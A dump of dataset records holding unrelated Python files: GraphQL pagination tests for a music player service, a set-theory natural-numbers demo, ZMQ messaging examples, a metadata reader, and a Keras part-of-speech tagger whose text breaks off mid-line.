edges = result.data['playlist']['playlists']['edges']\n\n assert len(edges) > 0\n\n page_info = result.data['playlist']['playlists']['pageInfo']\n\n pi_start_cursor = get_node_id(page_info['startCursor'], 'arrayconnection')\n pi_last_cursor = get_node_id(page_info['endCursor'], 'arrayconnection')\n\n edge_start_cursor = get_node_id(edges[0]['cursor'], 'arrayconnection')\n edge_last_cursor = get_node_id(edges[-1]['cursor'], 'arrayconnection')\n\n assert edge_start_cursor == index\n assert edge_last_cursor == end_index - 1\n\n assert pi_start_cursor == edge_start_cursor\n assert pi_last_cursor == edge_last_cursor\n\n for i, source_pl in enumerate(assert_range):\n assert source_pl.playlist_index == edges[i]['node']['playlistIndex']\n assert source_pl.playlist_id == get_node_id(edges[i]['node']['id'], 'Playlist')\n assert source_pl.filename == edges[i]['node']['filename']\n assert source_pl.title == edges[i]['node']['title']\n\n last_cursor = edges[-1]['cursor']\n\n\n@pytest.mark.parametrize('_request', [\n pytest.lazy_fixture('remote_request'),\n pytest.lazy_fixture('local_request'),\n], ids=['remote', 'local'])\ndef test_playlist_track_node_query(\n _request: ExecuteRequest,\n) -> None:\n playlist_view = _request.note_service.get_all_playlists()[:3]\n assert len(playlist_view) > 0\n\n for playlist in playlist_view:\n for track in _request.note_service.get_playlist_tracks(playlist_id=playlist.playlist_id):\n request: ExecuteRequest = replace(\n _request,\n request_string='''\n query GetPlaylistTrackNodeQueryTest($id: ID!) {\n node(id: $id) {\n __typename\n ... on PlaylistTrack {\n title\n filename\n id\n trackIndex\n playlist {\n title\n filename\n id\n }\n }\n }\n }\n ''',\n variables=dict(\n id=base64.b64encode(f\"PlaylistTrack:{track.track_id}\".encode('latin-1')).decode('latin-1'),\n ),\n )\n\n result = schema.execute(**request.to_execute_args())\n\n assert not result.errors\n\n node = result.data['node']\n\n assert node['__typename'] == 'PlaylistTrack'\n assert node['title'] == track.title\n assert node['filename'] == track.filename\n assert node['trackIndex'] == track.track_index\n assert get_node_id(node['id'], 'PlaylistTrack') == track.track_id\n\n ret_playlist = node['playlist']\n\n assert ret_playlist['title'] == playlist.title\n assert ret_playlist['filename'] == playlist.filename\n assert get_node_id(ret_playlist['id'], 'Playlist') == playlist.playlist_id\n\n\n@pytest.mark.parametrize('_request', [\n pytest.lazy_fixture('remote_request'),\n pytest.lazy_fixture('local_request'),\n], ids=['remote', 'local'])\ndef test_playlist_track_resolves_playlist(\n _request: ExecuteRequest,\n mocker: MockFixture,\n) -> None:\n playlist = list(_request.note_service.get_all_playlists())[0]\n expected_tracks = _request.note_service.get_playlist_tracks(playlist.playlist_id)\n\n request: ExecuteRequest = replace(\n _request,\n request_string='''\n query GetPlaylistResolveTest($id: ID!, $first: Int!) {\n node(id: $id) {\n __typename\n ... on Playlist {\n title\n id\n filename\n tracks(first: $first) {\n pageInfo { hasNextPage }\n edges {\n cursor\n node {\n title\n tagTitle\n id\n filename\n playlistId\n playlist {\n filename\n title\n id\n }\n }\n }\n }\n }\n }\n }\n ''',\n variables=dict(\n id=base64.b64encode(\n f\"Playlist:{playlist.playlist_id}\".encode('latin-1')\n ).decode('latin-1'),\n first=len(expected_tracks),\n ),\n )\n\n get_all_playlists_spy = mocker.spy(NoteService, 'get_all_playlists')\n result = create_schema().execute(**request.to_execute_args())\n # Assert that loader was used by verifying that only one call to get_all_playlists() was made\n assert get_all_playlists_spy.call_count == 1\n\n assert not result.errors\n\n node = result.data['node']\n\n assert get_node_id(node['id'], 'Playlist') == playlist.playlist_id\n assert node['__typename'] == 'Playlist'\n assert node['title'] == playlist.title\n assert node['filename'] == playlist.filename\n assert not node['tracks']['pageInfo']['hasNextPage']\n\n edges = node['tracks']['edges']\n\n for track, expected_track in zip((edge['node'] for edge in edges), expected_tracks):\n assert track['title'] == expected_track.title\n assert track['tagTitle'] == expected_track.tag_title\n assert track['filename'] == expected_track.filename\n\n assert get_node_id(track['playlistId'], 'Playlist') == expected_track.playlist_id\n assert get_node_id(track['id'], 'PlaylistTrack') == expected_track.track_id\n\n sub_playlist = track['playlist']\n\n assert sub_playlist['title'] == playlist.title\n assert sub_playlist['filename'] == playlist.filename\n assert get_node_id(sub_playlist['id'], 'Playlist') == playlist.playlist_id\n\n\n@dataclass(frozen=True)\nclass PaginationExpects(object):\n page_size: int\n\n start_cursor: str\n end_cursor: str\n has_next: bool\n has_prev: bool\n\n start_index: int\n end_index: int\n\n first: Optional[int] = None\n last: Optional[int] = None\n after: Optional[str] = None\n before: Optional[str] = None\n\n\ndef iter_assert_pagination(count: int, direction: int) -> Iterator[PaginationExpects]:\n if direction > 0:\n for i in range(0, count, direction):\n page_size = min(direction, count - i)\n\n start_index = i\n end_index = i + page_size - 1\n\n yield PaginationExpects(\n first=page_size,\n after=offset_to_cursor(i-1) if i >= 1 else None,\n start_cursor=offset_to_cursor(i),\n end_cursor=offset_to_cursor(i + page_size - 1),\n has_next=i + page_size < count,\n has_prev=False,\n page_size=page_size,\n start_index=start_index,\n end_index=end_index,\n )\n\n elif direction < 0:\n for i in range(count, 1, direction):\n page_size = min(-direction, i)\n\n start_index = i - page_size\n end_index = i - 1\n\n yield PaginationExpects(\n last=page_size,\n before=offset_to_cursor(i) if i < count else None,\n start_cursor=offset_to_cursor(i - page_size),\n end_cursor=offset_to_cursor(i - 1),\n has_next=False,\n has_prev=start_index > 0,\n page_size=page_size,\n start_index=start_index,\n end_index=end_index,\n )\n else:\n raise Exception('invalid direction')\n\n\nclass PageInfo(TypedDict):\n hasNextPage: bool\n hasPreviousPage: bool\n startCursor: str\n endCursor: str\n\n\ndef assert_page_info(page_info: PageInfo, page: PaginationExpects) -> None:\n assert page_info['hasNextPage'] == page.has_next\n assert page_info['hasPreviousPage'] == page.has_prev\n assert page_info['startCursor'] == page.start_cursor\n assert page_info['endCursor'] == page.end_cursor\n\n\ndef assert_edges(edges: List[Dict], page: PaginationExpects) -> None:\n assert len(edges) == page.page_size\n assert edges[0]['cursor'] == page.start_cursor\n assert edges[-1]['cursor'] == page.end_cursor\n\n\n@pytest.mark.parametrize('_request', [\n pytest.lazy_fixture('remote_request'),\n pytest.lazy_fixture('local_request'),\n], ids=['remote', 'local'])\n@pytest.mark.parametrize('direction', [1, -1, 3, -3, 10, -10, 30, -30])\ndef test_track_pagination(\n _request: ExecuteRequest,\n direction: int,\n) -> None:\n service = _request.note_service\n\n for playlist in service.get_all_playlists()[:3]:\n all_tracks = list(service.get_playlist_tracks(\n playlist.playlist_id\n ))\n\n for page in iter_assert_pagination(len(all_tracks), direction):\n request: ExecuteRequest = replace(\n _request,\n request_string='''\n query GetPlaylistTrackTest(\n $id: ID!,\n $first: Int,\n $last: Int,\n $after: String,\n $before: String,\n ) {\n node(id: $id) {\n ...on Playlist {\n trackCount\n tracks(\n first: $first\n after: $after\n last: $last\n before: $before\n ) {\n pageInfo {\n hasNextPage\n hasPreviousPage\n startCursor\n endCursor\n }\n edges {\n cursor\n node {\n title\n trackIndex\n id\n filename\n }\n }\n }\n }\n }\n }\n ''',\n variables=dict(\n id=base64.b64encode(f\"Playlist:{playlist.playlist_id}\".encode('latin-1')).decode('latin-1'),\n first=page.first,\n last=page.last,\n before=page.before,\n after=page.after,\n ),\n )\n\n result = schema.execute(**request.to_execute_args())\n assert not result.errors\n\n node = result.data['node']\n track_count = node['trackCount']\n edges = node['tracks']['edges']\n page_info = node['tracks']['pageInfo']\n\n assert track_count == playlist.track_count\n assert_page_info(page_info, page)\n assert_edges(edges, page)\n\n for i, pl_track in enumerate(all_tracks[page.start_index:page.end_index + 1]):\n node = edges[i]['node']\n\n assert node['title'] == pl_track.title\n assert node['trackIndex'] == pl_track.track_index\n assert node['filename'] == pl_track.filename\n assert get_node_id(node['id'], 'PlaylistTrack') == pl_track.track_id\n\n\n@pytest.mark.parametrize('_request', [\n pytest.lazy_fixture('remote_request'),\n pytest.lazy_fixture('local_request'),\n], ids=['remote', 'local'])\n@pytest.mark.parametrize('direction', [1, -1, 3, -3, 10, -10, 30, -30])\ndef test_active_track_pagination(\n _request: ExecuteRequest,\n direction: int,\n) -> None:\n service = _request.note_service\n\n for playlist in service.get_all_playlists()[:3]:\n service.play_playlist(playlist.playlist_id)\n\n all_tracks = service.get_active_playlist_tracks(None)\n assert playlist.track_count == len(all_tracks)\n\n for page in iter_assert_pagination(len(all_tracks), direction):\n request: ExecuteRequest = replace(\n _request,\n request_string='''\n query GetPlaylistTrackTest(\n $first: Int,\n $last: Int,\n $after: String,\n $before: String,\n ) {\n playlist {\n activePlaylist {\n trackCount\n tracks(\n first: $first\n last: $last\n after: $after\n before: $before\n ){\n pageInfo {\n hasNextPage\n hasPreviousPage\n startCursor\n endCursor\n }\n edges {\n cursor\n node {\n id\n title\n filename\n trackIndex\n }\n }\n }\n }\n }\n }\n ''',\n variables=dict(\n first=page.first,\n last=page.last,\n before=page.before,\n after=page.after,\n ),\n )\n\n result = schema.execute(**request.to_execute_args())\n assert not result.errors\n\n active_playlist = result.data['playlist']['activePlaylist']\n track_count = active_playlist['trackCount']\n edges = active_playlist['tracks']['edges']\n page_info = active_playlist['tracks']['pageInfo']\n\n assert track_count == len(all_tracks)\n assert_page_info(page_info, page)\n assert_edges(edges, page)\n\n for i, track in enumerate(all_tracks[page.start_index:page.end_index + 1]):\n node = edges[i]['node']\n\n assert node['title'] == track.title\n assert node['trackIndex'] == track.track_index\n assert node['filename'] == track.filename\n assert get_node_id(node['id'], 'ActivePlaylistTrack') == track.track_index\n\n\n@pytest.mark.parametrize('_request', [\n pytest.lazy_fixture('remote_request'),\n pytest.lazy_fixture('local_request'),\n], ids=['remote', 'local'])\ndef test_media_item_query( _request: ExecuteRequest) -> None:\n service = _request.note_service\n\n expected_media_items = list(service.get_media_items())\n items: List[Dict] = []\n after_cursor: Optional[str] = None\n has_next: bool = True\n\n while has_next:\n request: ExecuteRequest = replace(\n _request,\n request_string='''\n query GetMediaItemTest($after_cursor: String, $max: Int!) {\n mediaItems {\n items(after: $after_cursor, first: $max) {\n pageInfo { hasNextPage }\n edges {\n cursor\n node {\n ...MediaItemDocFragment\n }\n }\n }\n }\n }\n ''' + fragments.media_item,\n variables=dict(\n after_cursor=after_cursor,\n max=5,\n ),\n )\n\n result = schema.execute(**request.to_execute_args())\n assert not result.errors\n\n item_data = result.data['mediaItems']['items']\n edges = item_data['edges']\n has_next = item_data['pageInfo']['hasNextPage']\n\n if edges:\n after_cursor = edges[-1]['cursor']\n\n items.extend(edge['node'] for edge in edges)\n\n assert len(items) == len(expected_media_items)\n\n for doc, expected_media_item in zip(items, expected_media_items):\n record = expected_media_item.record\n id_type, id_str_value = relay.Node.from_global_id(doc['id'])\n\n assert id_type == MediaItem._meta.name\n assert int(id_str_value) == expected_media_item.database_id\n assert doc['indexIndex'] == record.index_index\n assert doc['filename'] == record.filename\n assert doc['title'] == record.title\n assert doc['artist'] == record.artist\n assert doc['albumArtist'] == record.album_artist\n assert doc['album'] == record.album\n assert doc['year'] == record.year\n assert doc['genre'] == record.genre\n assert doc['publisher'] == record.publisher\n assert doc['composer'] == record.composer\n assert doc['comment'] == record.comment\n assert doc['trackNumber'] == record.track_number\n assert doc['length'] == record.length\n assert doc['bitRate'] == record.bit_rate\n assert doc['type'] == record.type\n assert doc['lastUpdated'] == (record.last_updated.isoformat() if record.last_updated else None)\n assert doc['lastPlayed'] == (record.last_played.isoformat() if record.last_played else None)\n assert doc['fileTime'] == (record.file_time.isoformat() if record.file_time else None)\n assert doc['dateAdded'] == (record.date_added.isoformat() if record.date_added else None)\n assert doc['playCount'] == record.play_count\n assert doc['fileSize'] == record.file_size\n assert doc['recordIndex'] == record.record_index\n\n\n@pytest.mark.parametrize('_request', [\n pytest.lazy_fixture('remote_request'),\n pytest.lazy_fixture('local_request'),\n], ids=['remote', 'local'])\n@pytest.mark.parametrize('playing', [True, False])\ndef test_enqueue(_request: ExecuteRequest, playing: bool) -> None:\n service = _request.note_service\n service.clear_active_playlist()\n service.stop()\n\n media_items = list(service.get_media_items())\n expected_active_length = 0\n\n for enqueue_length in range(1, 4):\n expected_active_index = expected_active_length\n expected_active_length += enqueue_length\n request: ExecuteRequest = replace(\n _request,\n request_string='''\n mutation EnqueueItemsTest($ids: [ID!]!, $play: Boolean!) {\n enqueueItems(mediaItemIds: $ids, play: $play) {\n player { isPlaying }\n }\n }\n ''',\n variables=dict(\n ids=[\n relay.Node.to_global_id(MediaItem._meta.name, item.database_id)\n for item in media_items[:enqueue_length]\n ],\n play=playing\n ),\n )\n\n result = schema.execute(**request.to_execute_args())\n assert not result.errors\n\n assert playing == result.data['enqueueItems']['player']['isPlaying']\n assert service.get_active_playlist_count() == expected_active_length\n\n if playing:\n assert service.get_active_playlist_track_index() == expected_active_index\n else:\n assert service.get_active_playlist_track_index() is None\n","sub_path":"tests/graphql_test.py","file_name":"graphql_test.py","file_ext":"py","file_size_in_byte":34757,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"617166004","text":"'''Set of Natural Numbers- https://en.wikipedia.org/wiki/Set-theoretic_definition_of_natural_numbers'''\n\n'''In Zermelo–Fraenkel (ZF) set theory, the natural numbers are defined recursively by letting 0 = {} be the empty set \nand n + 1 = n ∪ {n} for each n. In this way n = {0, 1, ..., n − 1} for each natural number n. The first few numbers defined \nthis way are:\n\n 0 = { } = ∅ ,\n 1 = { 0 } = { ∅ } ,\n 2 = { 0 , 1 } = { ∅ , { ∅ } } , \n 3 = { 0 , 1 , 2 } = { ∅ , { ∅ } , { ∅ , { ∅ } } } ...\n\nThe set N of natural numbers is defined in this system as the smallest set containing 0 and closed under the successor function \nS defined by S(n) = n ∪ {n}. The structure ⟨N,0,S⟩ is a model of the Peano axioms. The existence of the set N follows from the \naxiom of infinity in ZF set theory.\n\nThe set N and its elements, when constructed this way, are an initial part of the von Neumann ordinals.'''\n\nset0 = set()\n# Sets are mutable types, you can add elements to a set. Sets in Python cannot contain mutable types.\n# Therefore, to put a set into a set, you have to make the set \"Frozen.\"\nset0 = frozenset()\nlen(set0)\nset1 = {set0}\n#or: set1 = set(), set1.add(set0)\nlen(set1)\nset1 = frozenset(set1)\nset2 = {set1, set0}\n#or: set2 = set(), set2.add(set1), set2.add(set0)\nlen(set2)\nset2 = frozenset(set2)\nset3 = {set2, set1, set0}\n#or: set3 = set(), set3.add(set0), set3.add(set1), set3.add(set2)\nlen(set3)\nset3 = frozenset(set3)\n\ndef set_demo(n):\n set0 = frozenset() #create emptyset, must be immutable to be added into other sets\n setn = set() #create mutable set to which add immutable sets\n setn.add(set0) #create the first natural number to build new numbers\n for i in range(n-1):\n setn.add(frozenset(setn))\n return setn\n \nset_demo(10)\n","sub_path":"Python/Textbooks/Math/NaturalNumSet.py","file_name":"NaturalNumSet.py","file_ext":"py","file_size_in_byte":1799,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"270028931","text":"import asyncio\nimport traceback\n\nimport zmq\nimport zmq.asyncio\n\nfrom core.config import Config\nfrom core.messageProcessor import MessageProcessor\n\n\nclass ServerEdgeReceiver:\n\n context = zmq.asyncio.Context()\n\n def __init__(self, config: Config, message_processor: MessageProcessor) -> None:\n super().__init__()\n self.__config = config\n self.__message_processor = message_processor\n\n async def recv_and_process(self) -> None:\n socket = self.__setup_socket()\n\n while True:\n try:\n message = await socket.recv_string()\n\n if self.__config.IS_DEBUG_LOGGING:\n print(\"Received request: \", message)\n\n reply = await self.__message_processor.process_message(message)\n await socket.send_string(reply)\n except KeyboardInterrupt:\n socket.close()\n break\n except zmq.ZMQError:\n await asyncio.sleep(60)\n except Exception as e:\n socket.close()\n traceback.print_exc()\n break\n\n # noinspection PyUnresolvedReferences\n def __setup_socket(self) -> zmq.asyncio.Socket:\n socket = self.context.socket(zmq.REP)\n socket.bind('tcp://*:' + str(self.__config.EDGE_RECEIVER_LISTEN_PORT))\n socket.setsockopt(zmq.SNDTIMEO, 100)\n socket.setsockopt(zmq.SNDHWM, self.__config.EDGE_RECEIVER_MAX_QUEUE_LENGTH)\n socket.setsockopt(zmq.RCVHWM, self.__config.EDGE_RECEIVER_MAX_QUEUE_LENGTH)\n\n return socket\n","sub_path":"fog/src/server/serverEdgeReceiver.py","file_name":"serverEdgeReceiver.py","file_ext":"py","file_size_in_byte":1569,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"70285884","text":"import csv\nimport sys\nimport re\n\ndef readMetadata(Schema_dictionary):\n\tf = open('metadata.txt','r')\n\tflag = False\t\t\t\t#to check if a new table has come or not\n\ttableName=\"\"\t\n\tfor row in f:\n\t\t#print row.strip()\n\t\tif row.strip() == '':\n\t\t\tflag = True\n\t\t\tcontinue\n\t\tif flag == True:\t\t\t# a new table has come\n\t\t\tflag = False\n\t\t\ttableName=row.strip()\n\t\t\tSchema_dictionary[tableName]=[]\n\t\t\tcontinue\n\t\tif row.strip() != '':\n\t\t\tSchema_dictionary[tableName].append(row.strip())\n\treturn Schema_dictionary","sub_path":"Sem2/DB/Assignment-1/20162008/ReadMeta.py","file_name":"ReadMeta.py","file_ext":"py","file_size_in_byte":517,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"561191995","text":"# -*- coding: utf8 -*-\r\n\r\nimport zmq\r\nimport time\r\nimport threading\r\n\r\n# 测试一下python下的zmq\r\naddr = \"tcp://127.0.0.1:5556\"\r\ncontext = zmq.Context()\r\n\r\n\r\ndef server():\r\n socket = context.socket(zmq.PAIR)\r\n socket.bind(addr)\r\n\r\n while True:\r\n socket.send_string(\"Server message to client\")\r\n msg = socket.recv_string()\r\n print(msg)\r\n time.sleep(1)\r\n\r\n\r\ndef client():\r\n socket = context.socket(zmq.PAIR)\r\n socket.connect(addr)\r\n\r\n while True:\r\n msg = socket.recv_string()\r\n print(msg)\r\n socket.send_string(\"client message to server 1\")\r\n socket.send_string(\"client message to server 2\")\r\n time.sleep(1)\r\n\r\n\r\nt1 = threading.Thread(target=server)\r\nt2 = threading.Thread(target=client)\r\nt1.start()\r\nt2.start()\r\ninput()","sub_path":"mq_test/py/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":802,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"200426266","text":"import pickle\r\nimport time\r\n\r\nfrom keras.layers import Embedding, LSTM, Input\r\nfrom keras.layers.merge import Concatenate\r\nfrom keras.models import Model\r\nfrom keras_contrib.layers.crf import CRF, CRFLoss\r\n\r\nimport numpy as np\r\nfrom util import utility, Keras, MySQL\r\n\r\nfrom keras.layers.wrappers import TimeDistributed, Bidirectional\r\nfrom keras.layers.recurrent import GRU\r\nfrom bert import optimization\r\n\r\nimport sequence\r\nfrom structure import compiler\r\nimport keras\r\n\r\nfrom scipy.sparse.coo import coo_matrix\r\nimport tensorflow as tf\r\nfrom keras_contrib.layers.convolutional import Convolution\r\n\r\n\r\nclass Instance:\r\n\r\n def __init__(self, word, tag):\r\n self.sent = word\r\n self.tag = tag\r\n\r\n\r\nclass POSTagger(Keras.Model):\r\n\r\n def __init__(self, lang='cn', embedSize=128):\r\n self.vocab = utility.modelsDirectory + lang + '/pos/vocab.txt'\r\n self.vocab_pos = utility.modelsDirectory + lang + '/pos/pos.txt'\r\n self.modelFile = utility.modelsDirectory + lang + '/pos/model.h5'\r\n\r\n self.embedSize = embedSize\r\n self.hiddenSize = 128\r\n\r\n try: \r\n self.initialize_word2id()\r\n self.tag2id = Keras.initialize_word2id(self.vocab_pos, start=0)\r\n \r\n except Exception as e:\r\n self.word2id = {}\r\n self.tag2id = {}\r\n self.load_data()\r\n print(e)\r\n\r\n self.id2tag = [None] * len(self.tag2id)\r\n for tag, index in self.tag2id.items():\r\n self.id2tag[index] = tag\r\n \r\n self.create_model(False, False) \r\n\r\n @property\r\n def openTags(self):\r\n return self.tag2id.keys() - {\"QUE\", \"CC\", \"DE\", \"IJ\", \"PU\", \"NEG\", \"O\", \"M\", \"MD\", \"VC\", \"CS\", \"DT\", \"P\", \"AS\", \"LC\", \"PN\", \"NT\"}\r\n\r\n def load_data(self, limit=50000):\r\n corpus = MySQL.instance.select_tbl_syntax_cn(limit)\r\n word_tag = list(map(self.pos_tag_converter, corpus))\r\n\r\n charSet = set(c for s in word_tag for word in s.sent for c in word)\r\n\r\n charSet -= self.word2id.keys() \r\n \r\n if charSet and self.word2id:\r\n index = self.dimension\r\n self.word2id.update({word : i + index for i, word in enumerate(charSet)})\r\n weights = self.model.get_weights()\r\n shape = weights[0].shape\r\n dimensionAdded = self.dimension - shape[0]\r\n assert dimensionAdded > 0\r\n\r\n weights[0] = np.append(weights[0], np.zeros((dimensionAdded, shape[1])), 0)\r\n\r\n self.create_model()\r\n self.model.set_weights(weights)\r\n else:\r\n index = self.dimension\r\n self.word2id.update({word : i + index for i, word in enumerate(charSet)})\r\n\r\n tagSet = set(c for s in word_tag for c in s.tag)\r\n\r\n tagSet -= self.tag2id.keys()\r\n\r\n index = len(self.tag2id)\r\n self.tag2id.update({word : i + index for i, word in enumerate(tagSet)})\r\n\r\n for inst in word_tag:\r\n inst.source = inst.sent\r\n inst.sent = self.string2ids(inst.sent)\r\n inst.tag = [self.tag2id[t] for t in inst.tag]\r\n\r\n return word_tag\r\n\r\n def pos_tag_converter(self, strArr):\r\n x, y, _ = compiler.parse_strict(strArr)\r\n return Instance(x, y)\r\n\r\n def create_model(self, plot=False, cnn=False):\r\n lInput = Input(shape=(None, None), dtype=tf.int32)\r\n lEmbedding = Embedding(self.dimension, self.embedSize, mask_zero=True, name='Embedding')(lInput)\r\n\r\n wordEmbedding = TimeDistributed(Bidirectional(GRU(self.embedSize), merge_mode='sum'), name='GRU')(lEmbedding)\r\n\r\n lLSTM = Bidirectional(LSTM(self.hiddenSize, return_sequences=True), merge_mode='sum', name='LSTM')(wordEmbedding)\r\n\r\n if cnn:\r\n lCNN = Convolution(1, self.hiddenSize, 3, padding='same', activation='relu', name='Conv1D0')(wordEmbedding)\r\n lCNN = Convolution(1, self.hiddenSize, 3, padding='same', activation='relu', name='Conv1D1')(lCNN)\r\n lCNN = Convolution(1, self.hiddenSize, 3, padding='same', activation='relu', name='Conv1D2')(lCNN)\r\n sentEmbedding = Concatenate(axis=2)([lLSTM, lCNN])\r\n else:\r\n lLSTM = Bidirectional(LSTM(self.hiddenSize, return_sequences=True), merge_mode='sum', name='LSTM1')(lLSTM)\r\n sentEmbedding = Bidirectional(LSTM(self.hiddenSize, return_sequences=True), merge_mode='sum', name='LSTM2')(lLSTM)\r\n\r\n crf = CRF(len(self.tag2id), name='CRF')\r\n lCRF = crf(sentEmbedding)\r\n\r\n self.model = Model(lInput, lCRF)\r\n\r\n self.model.compile('adam', crf.loss, [crf.accuracy])\r\n# self.model.summary()\r\n\r\n if plot:\r\n from keras.utils.vis_utils import plot_model\r\n plot_model(self.model, to_file=self.png, show_shapes=True)\r\n\r\n try:\r\n self.model.load_weights(self.modelFile, by_name=True, skip_mismatch=True)\r\n except Exception as e:\r\n print(e)\r\n\r\n def create_loss_model(self):\r\n lInput = Input(shape=(None, None), dtype=tf.int32)\r\n y_true = Input(shape=(None,), dtype=tf.int32)\r\n lEmbedding = Embedding(self.dimension, self.embedSize, mask_zero=True, name='Embedding')(lInput)\r\n\r\n wordEmbedding = TimeDistributed(Bidirectional(GRU(self.embedSize), merge_mode='sum'), name='GRU')(lEmbedding)\r\n\r\n lLSTM = Bidirectional(LSTM(self.hiddenSize, return_sequences=True), merge_mode='sum', name='LSTM')(wordEmbedding)\r\n\r\n lLSTM = Bidirectional(LSTM(self.hiddenSize, return_sequences=True), merge_mode='sum', name='LSTM1')(lLSTM)\r\n sentEmbedding = Bidirectional(LSTM(self.hiddenSize, return_sequences=True), merge_mode='sum', name='LSTM2')(lLSTM)\r\n\r\n crf = CRF(len(self.tag2id))\r\n crfLoss = CRFLoss(crf, name='CRF')\r\n loss = crfLoss([sentEmbedding, y_true])\r\n\r\n self.modelLoss = Model([lInput, y_true], loss)\r\n\r\n self.modelLoss.summary()\r\n\r\n try:\r\n self.modelLoss.load_weights(self.modelFile, by_name=True, skip_mismatch=False)\r\n except Exception as e:\r\n print(e)\r\n\r\n def training(self, epochs=4, batch_size=256):\r\n self.create_model(False, cnn=False)\r\n time_start = time.time()\r\n wordTag = self.load_data()\r\n generator = Keras.Sequence(wordTag, x_name='sent', y_name='tag', format_data_x=utility.format_data, format_data_y=utility.format_data, batch_size=batch_size)\r\n\r\n self.model.optimizer = optimization.AdamOptimizer(len(generator))\r\n\r\n self.model.fit_generator(generator,\r\n epochs=epochs)\r\n\r\n self.model.save_weights(self.modelFile)\r\n with open(self.config, 'wb') as f:\r\n pickle.dump((self.word2id, self.tag2id), f)\r\n print('totally cost', (time.time() - time_start) / 60)\r\n self.evaluate()\r\n\r\n @utility.report_accuracy\r\n def evaluate(self, limit=50000):\r\n wordTag = self.load_data(limit)\r\n generator = Keras.Sequence(wordTag, x_name='sent', y_name='tag', format_x=utility.format_data, format_y=utility.format_data)\r\n\r\n# with open(utility.corpusDirectory + 'debug.pos.txt', 'w', encoding='utf8') as file:\r\n for batch in generator.batches():\r\n x, y_true = generator.make_numpy(batch)\r\n y_pred = self.model.predict(x, batch_size=256)\r\n \r\n for y_t, y_p, sent in zip(y_true, y_pred, batch):\r\n self.sum += 1\r\n index = (y_p >= 0).argmax()\r\n _y_t = y_t[:len(y_t) - index]\r\n _y_p = y_p[index:]\r\n if any(_y_t != _y_p):\r\n self.err += 1\r\n# print(utility.convertToOriginal(sent.source), file=file)\r\n print(utility.convertToOriginal(sent.source))\r\n# for s in utility.convertWithAlignment(sent.source, sent.tag, y_pred, utility.errorMark(len(y_pred), utility.discrepant_indices(sent.tag, y_pred))):\r\n# print(s, file=file)\r\n# for s in utility.convertWithAlignment(sent.source, sent.tag, y_pred, utility.errorMark(len(y_pred), utility.discrepant_indices(sent.tag, y_pred))):\r\n# print(s)\r\n\r\n def evaluate_with_pos(self):\r\n wordTag = self.load_data(10000)\r\n# from structure import corpusReader\r\n# possible_pos_tags = [corpusReader.instance.possible_pos_tags(inst.source, True) for inst in wordTag]\r\n\r\n# pos_mask = utility.format_data([self.pos_mask(pos_tags) for pos_tags in possible_pos_tags], False)\r\n\r\n x = utility.format_data([inst.sent for inst in wordTag])\r\n# y = utility.format_data([inst.tag for inst in wordTag], -1)\r\n\r\n# print(pos_mask.shape)\r\n print(x.shape)\r\n# print(y.shape)\r\n\r\n# result = self.predictWithNumpy([inst.source for inst in wordTag], possible_pos_tags)\r\n# result = self.predictWithNumpy([inst.source for inst in wordTag])\r\n result = [self.predictWithNumpy(inst.source) for inst in wordTag]\r\n\r\n sgm = 0\r\n err = 0\r\n for sample, y in zip(wordTag, result):\r\n sgm += 1\r\n sample.tag = [self.id2tag[t] for t in sample.tag]\r\n if sample.tag != y:\r\n err += 1\r\n\r\n print(utility.convertToOriginal(sample.source))\r\n for s in utility.convertWithAlignment(sample.source, sample.tag, y, utility.errorMark(len(y), utility.discrepant_indices(sample.tag, y))):\r\n print(s)\r\n\r\n print('err =', err)\r\n print('sgm =', sgm)\r\n print('acc =', (sgm - err) / sgm)\r\n\r\n def predictWithKeras(self, predict_text):\r\n maxLength = max(len(s) for s in predict_text)\r\n\r\n x = []\r\n for s in predict_text:\r\n s += ' ' * (maxLength - len(s))\r\n x.append(self.string2id(s))\r\n\r\n y = self.model.predict(np.array(x), batch_size=512)\r\n arr = []\r\n for s, arg in zip(predict_text, y):\r\n arr.append(self.convertToSegment(s, arg))\r\n return arr\r\n\r\n def predict_segmented(self, ss):\r\n\r\n dic = {}\r\n ss = [Instance(s, None) for s in ss]\r\n\r\n for s in ss:\r\n length = len(s.sent)\r\n if length not in dic:\r\n dic[length] = []\r\n dic[length].append(s)\r\n\r\n for length in dic:\r\n x_predict = dic[length]\r\n\r\n result = self.model.predict(np.array(utility.format_data([self.string2id(s.sent) for s in x_predict])), batch_size=256)\r\n for s, y in zip(x_predict, result):\r\n s.result = [self.id2tag[t] for t in y]\r\n\r\n return [s.result for s in ss]\r\n\r\n def predict(self, predict_text):\r\n if isinstance(predict_text[0], str):\r\n predict_text = sequence.segment.instance.predict(predict_text)\r\n\r\n predict_text = [self.string2id(sent) for sent in predict_text]\r\n\r\n result = self.model.predict(utility.format_data(predict_text))\r\n return [[self.id2tag[t] for t in y if t >= 0] for y in result]\r\n\r\n def predict_loss(self, x, y):\r\n x = [self.string2id(sent) for sent in x]\r\n y = [[self.tag2id[t] for t in sent] for sent in y]\r\n return self.modelLoss.predict([utility.format_data(x), utility.format_data(y)])\r\n\r\n def tag(self, predict_text):\r\n assert isinstance(predict_text, (list, tuple))\r\n ids = self.string2ids(predict_text)\r\n ids = utility.format_data([ids])\r\n\r\n result = self.model.predict(np.array(ids))[0]\r\n result = [self.id2tag[t] for t in result]\r\n return result\r\n\r\n def debugWithNumpy(self, predict_text):\r\n result = []\r\n\r\n lEmbedding, mask = self.wEmbedding.call(predict_text, True)\r\n\r\n result.append(lEmbedding) # i = 0\r\n\r\n lEmbedding = np.array([self.wGRU.call(vector, mask=m) for vector, m in zip(lEmbedding, mask)])\r\n result.append(lEmbedding) # i = 1\r\n\r\n lLSTM = self.wLSTM.call(lEmbedding, True)\r\n result.append(lLSTM) # i = 2\r\n\r\n lCNN = self.wConv1D0.call(lEmbedding)\r\n result.append(lCNN) # i = 3\r\n lCNN = self.wConv1D1.call(lCNN)\r\n result.append(lCNN) # i = 4\r\n lCNN = self.wConv1D2.call(lCNN)\r\n result.append(lCNN) # i = 5\r\n\r\n lConcatenate = np.concatenate([lLSTM, lCNN], axis=1)\r\n result.append(lConcatenate) # i = 